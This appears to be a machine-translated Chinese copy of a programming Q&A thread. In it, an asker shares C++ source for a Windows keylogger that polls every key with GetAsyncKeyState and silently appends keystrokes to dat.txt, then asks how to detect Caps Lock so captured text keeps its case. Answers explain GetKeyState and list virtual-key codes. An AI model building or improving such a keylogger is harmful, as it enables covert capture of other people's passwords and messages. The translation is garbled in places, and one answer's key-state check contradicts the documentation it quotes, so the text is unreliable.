检查CAPSLOCK在C++中是否打开/关闭

Check whether CAPSLOCK is on/off in C++

本文关键字:关闭 是否 CAPSLOCK C++ 检查      更新时间:2023-10-16

嗨,我有这个代码可以记录击键并将其保存在dat.txt文件中,但是它不能区分大写字母和小写字母,它写的所有大写字符都像"ABCDEFG"而不是"ABCDEFG"。我需要一个代码来检查绞盘锁是否打开/关闭。然后按原样保存输出。

#define _WIN32_WINNT 0x0500 
#include <Windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
void LOG(string input) {
fstream LogFile; 
LogFile.open("dat.txt", fstream::app); 
if (LogFile.is_open()) {
LogFile << input; 
LogFile.close();
}
}
bool SpecialKeys(int S_Key)
{
switch (S_Key) {
case VK_SPACE:
LOG(" ");
return true;
case VK_RETURN:
LOG("n");
return true;
case VK_SHIFT:
LOG("[SHIFT]");
return true;
case VK_CAPITAL:
LOG("[CAPSLOCK]");
return true;
case VK_OEM_8:
LOG("!");
return true;
case VK_MULTIPLY:LOG("*");
return true;
default:
return false;
}
}

int main() {
char KEY = 'x'; 
while (true) {
Sleep(10); 
for (int KEY = 0; KEY <= 255; KEY++) {
if (GetAsyncKeyState(KEY) == -32767) {    
fstream LogFile;
LogFile.open("dat.txt", fstream::app); 
if (LogFile.is_open()) {
LogFile << char(KEY); 
LogFile.close();
}
}
}
}
return 0;
}

您可以使用GetKeyState函数来检索指定虚拟键的状态。

返回值指定指定虚拟机的状态键,如下所示:如果高阶位为1,则键为下;否则,它就完了。如果低位位为1,则键被切换。A.关键点,如CAPS LOCK关键点,如果启用,则会切换。关键点如果低阶位为0,则关闭且不切换。切换键按键时,键盘上的指示灯(如果有(将亮起已切换,在未切换关键点时关闭。

VK_CAPSLOCK = 0x14;

if(GetKeyState(VK_CAPSLOCK) < 0)
{ 
// The CAPSLOCK IS ON 
} 
else
{ 
// The CAPSLOCK IS OFF 
}

GetKeyState函数可以让您知道键的状态,每个键盘按钮都有自己唯一的键号。请访问此处1或此处2了解更多信息。

if (GetKeyState(20)) {
//cout << "Capslock is ON";
}  
else {  
//cout << "Capslock is OFF";
}

我回答自己的问题是为了帮助其他学生,就像我得到了帮助一样。如果链接不起作用,请查看下面的虚拟钥匙代码列表:

BackSpace=8
Tab=9      
Return=13  
Command=15M
Shift=16
Contrli=17
Alt=18
Pause=19
CapsLock=20
Escape=27
Space=32
PageUp=33
PageDown=34
End=35
Home=36
Left=37
Up=38
Right=39
Down=40
PrintScreen=44
Insert=45
Delete=46
0=48
1=49
2=50
3=51
4=52
5=53
6=54
7=55
8=56
9=57
A=65
B=66
C=67
D=68
E=69
F=70
G=71
H=72
I=73
J=74
K=75
L=76
M=77
N=78
O=79
P=80
Q=81
R=82
S=83
T=84
U=85
V=86
W=87
X=88
Y=89
Z=90
LWin=91*
RWin=92*
Apps=93*
NumPad0=96
NumPad1=97
NumPad2=98
NumPad3=99
NumPad4=100
NumPad5=101
NumPad6=102
NumPad7=103
NumPad8=104
NumPad9=105
Multiply=106
Add=107
Subtract=109
Decimal=110
Divide=111
F1=112
F2=113
F3=114
F4=115
F5=116
F6=117
F7=118
F8=119
F9=120
F10=121
F11=122
F12=123
F13=124
F14=125
F15=126
F16=127
NumLock=144
ScrlilLock=145
LShift=160**
RShift=161**
LContrli=162**
RContrli=163**
LAlt=164**
RAlt=165**
SemiClion=186
Equals=187
Comma=188
UnderScore=189
Period=190
Slash=191
BackSlash=220
RightBrace=221
LeftBrace=219
Apostrophe=222